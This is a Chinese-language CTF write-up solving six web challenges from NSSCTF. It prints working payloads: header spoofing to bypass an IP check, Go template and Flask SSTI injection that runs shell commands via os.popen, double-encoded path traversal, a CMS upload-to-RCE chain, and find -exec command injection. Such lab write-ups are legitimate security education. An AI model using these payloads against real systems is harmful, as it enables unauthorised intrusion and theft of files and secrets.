NSSCTF练习3

前言

继续刷NSSCTF上的题。

[SCTF 2021]loginme

下载附件,发现是go语言编写的网页,虽然没学过go,但是关键代码部分还是能审的。

同时进入网页,提示我们非本地不能登录,但是测试发现不能用xff绕过,因此我们找到对应代码middleware.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package middleware

import (
"github.com/gin-gonic/gin"
)

func LocalRequired() gin.HandlerFunc {
return func(c *gin.Context) {
if c.GetHeader("x-forwarded-for") != "" || c.GetHeader("x-client-ip") != "" {
c.AbortWithStatus(403)
return
}
ip := c.ClientIP()
if ip == "127.0.0.1" {
c.Next()
} else {
c.AbortWithStatus(401)
}
}
}

显然xff和cip都被禁用了,使用就会跳转至403页面,因此这里要使用x-real-ip绕过。

接着我们发现之后的页面回显了一些信息,根据url中id值的不同回显内容也不同,那么我们审查下这一部分的代码,structs.go:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
package structs

type UserInfo struct {
Id int
Username string
Age string
Password string
}

var Users = []UserInfo{
{
Id: 1,
Username: "Grandpa Lu",
Age: "22",
Password: "hack you!",
},
{
Id: 2,
Username: "Longlone",
Age: "??",
Password: "i don't know",
},
{
Id: 3,
Username: "Teacher Ma",
Age: "20",
Password: "guess",
},
}

var Admin = UserInfo{
Id: 0,
Username: "Admin",
Age: "",
Password: "flag{}",
}

我们发现admin的密码就是flag,而age是空的,但是在返回时我们发现admin的age有返回,因此我们跟进age的返回,查看代码route.php:

1
2
3
4
5
6
7
8
age := TargetUser.Age
if age == "" {
age, flag = c.GetQuery("age")
if !flag {
age = "forever 18 (Tell me the age)"
}
}
html := fmt.Sprintf(templates.AdminIndexTemplateHtml, age)

由于年龄是空所以返回了对应的值,而打印年龄的代码是格式化字符串并赋值给新串。继续往下看发现还有模板渲染语句:

1
tmpl, err := template.New("admin_index").Parse(html)

go语言模板渲染支持传入一个结构体的实例来渲染它的字段,就有可能造成信息泄露。而在go语言中使用的是{{.name}}代表要应用的对象,所以可以让age={{.Password}}

payload:

1
2
?id=0&age={{.Password}}
X-Real-IP: 127.0.0.1

[GKCTF 2021]easycms

也开始做一些cms的题目了。首先目录扫描扫出admin.php,进入登录,提示5位弱口令,测试出来是12345。进入后台后,寻找能够利用的利用点,比如文件上传、页面更改等等。

我们在设计-主题的菜单中发现可以更改网页设置,并且在类型选择中可以选择php源代码,因此我们在首页编辑的幻灯片中更改内容为php源代码。但是保存时发现验证管理员权限:

1
请在服务器创建 /var/www/html/system/tmp/vhpg.txt 文件,如果存在该文件,使用编辑软件打开,重新保存一遍。

那么我们需要寻找文件上传点,我们在设计-组件-素材库中发现上传点,上传一个txt后根据目录来重命名文件:

1
../../../../../system/tmp/vhpg

路径确认更改后,回到之前的页面更改布局为php源代码,直接rce,回到前台,原来幻灯片的位置已经变成了flag。

[HCTF 2018]Warmup

进入网页看到一个滑稽,审查元素发现提示source.php。

审计代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

一眼看过去以为是反序列化,但是有没看到反序列化的函数。因此首先看class外的部分,一个文件包含,最重要的是有做调用。那么我们顺势康康class内部。

我们发现白名单只允许读取source.php和hint.php,传入hint.php读取:

1
flag not here, and flag in ffffllllaaaagggg

好,我们知道了flag藏在哪里了,但是我们没法直接读取,因此继续往下看:

1
2
3
4
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')

我们可以好好研究下这段代码,mb_strpos()的作用是返回第二个参数在第一个参数中首次出现的位置,因此正常情况下这里返回的应该是最后一个位置,即-1。

接下来是mb_strpos(),这个函数有三个参数,第一个参数是操作字符串,第二个参数是操作起始位置,第三个参数是操作字符长度。因此这里本应该读取$page的全部内容,即file的内容。

但是如果我们在file中加入?,那么就能造成截断。这个时候page将会验证?前方的str是否包含在array中,因此就能实现checkFile函数的绕过。

我们发现原函数进行了一次url解码,因此我们进行两次url编码,这样得到的%253f会在第二次decode后于最后一个in_array验证被截断并返回true。最后利用/读取flag,payload:

1
?file=hint.php%253f/../../../../ffffllllaaaagggg

[NCTF 2018]全球最大交友网站

这题是个比较特殊的git源码泄露,跟之前的有点不一样,感觉挺有意思的就记录一下。

首先是NSS环境的问题导致题目有点问题,访问/.git时不会跳403而是直接到目录了,不过问题不大,因为这样我们也没法获取flag。

我们常用的GitHack工具会直接把.git恢复到文件已经完成了,然后还把.git文件夹删了,也就自动恢复成了最新版本。因此我们要使用lijiejie的GitHack工具。

这题的思路和p牛15年的一篇文章其中的一些内容是一样的,先贴一下:
XDCTF2015代码审计全解

1
python GitHack.py http://1.14.71.254:28583/.git/

下载后发现README.md:

1
Allsource files areingit tag1.0

说明flag在历史版本中,由于原理法实在难啃,我们就直接用工具啃,直接上scarbble:

1
./scrabble http://1.14.71.254:28583

通过git log查看历史:

把head轮流指向这些文件,找到真正的flag藏在hello中:

1
git show HEAD 01b878ee5f39810a02f06b4a560571413020ea42

[CISCN 2019华东南]Double Secret

进入网页,啥都没有,只有一行提示:

1
Welcome To Find Secret

这个意思比较抽象,其实是指向secret路由,进入后又有一行提示:

1
Tell me your secret.I will encrypt it so others can't see

这比上一个来说还是好一点的,意思就是传参一个secret,那么我们应该传参啥,无非就试试sql、ssti这几个比较常用的。

经测试是ssti,我们输入{{2+2}}时出现了报错,告诉我们模板是flask,python2.7,使用RC4加密算法,密钥为HereIsTreasure。

因此我们使用rc4加密的exp对payload进行加密:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import base64
from urllib.parse import quote
def rc4_main(key = "init_key", message = "init_message"):
# print("RC4加密主函数")
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt
def rc4_init_sbox(key):
s_box = list(range(256))
# print("原来的 s 盒:%s" % s_box)
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
# print("混乱后的 s 盒:%s"% s_box)
return s_box
def rc4_excrypt(plain, box):
# print("调用加密程序成功。")
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
print("%s" %quote(cipher))
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))
rc4_main("HereIsTreasure","{{lipsum.__globals__.__builtins__.eval(\"__import__('os').popen('cat /flag.txt').read()\")}}")

payload:

1
/secret?secret=.%14%1E%12%C3%A484mg%C2%9C%C3%8B%00%C2%81%C2%8D%C2%B8%C2%97%0B%C2%9EF%3B%C2%88m%C2%AEM5%C2%96%3D%C2%9D%5B%C3%987%C3%AA%12%C2%B4%05%C2%84A%C2%BF%17%C3%9Bh%C3%8F%C2%8F%C3%A1a%0F%C2%AE%09%C2%A0%C2%AEyS%2A%C2%A2d%7C%C2%98/%00%C2%90%C3%A9%03Y%C2%B2%C3%9B%1F%C2%B6H%3D%0A%23%C3%B1%5B%C2%9Cp%C2%AEn%C2%96i%5Dv%7FX%C2%92

传参获取flag。

[AFCTF 2021]search

这题还是比较简单的,首先信息搜集发现www.zip,获取源码search.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {
if (($argv[$i] == '&') ||
($argv[$i] == '>') ||
($argv[$i] == '<') ||
($argv[$i] == '(') ||
($argv[$i] == ';') ||
($argv[$i] == '|')
) {

if ($i == 0) {
goto error;
}
if (($i == 1) && ($argv[0] == '\\')) {
continue;
}
if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {
continue;
}
error:
exit("Input contains prohibited characters!<br>");
}
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>

非常直观,实行find命令,发现flag在根目录下,这里我们只需要利用-exec执行命令就可以了,payload:

1
/search.php?search=flag -exec cat {} \;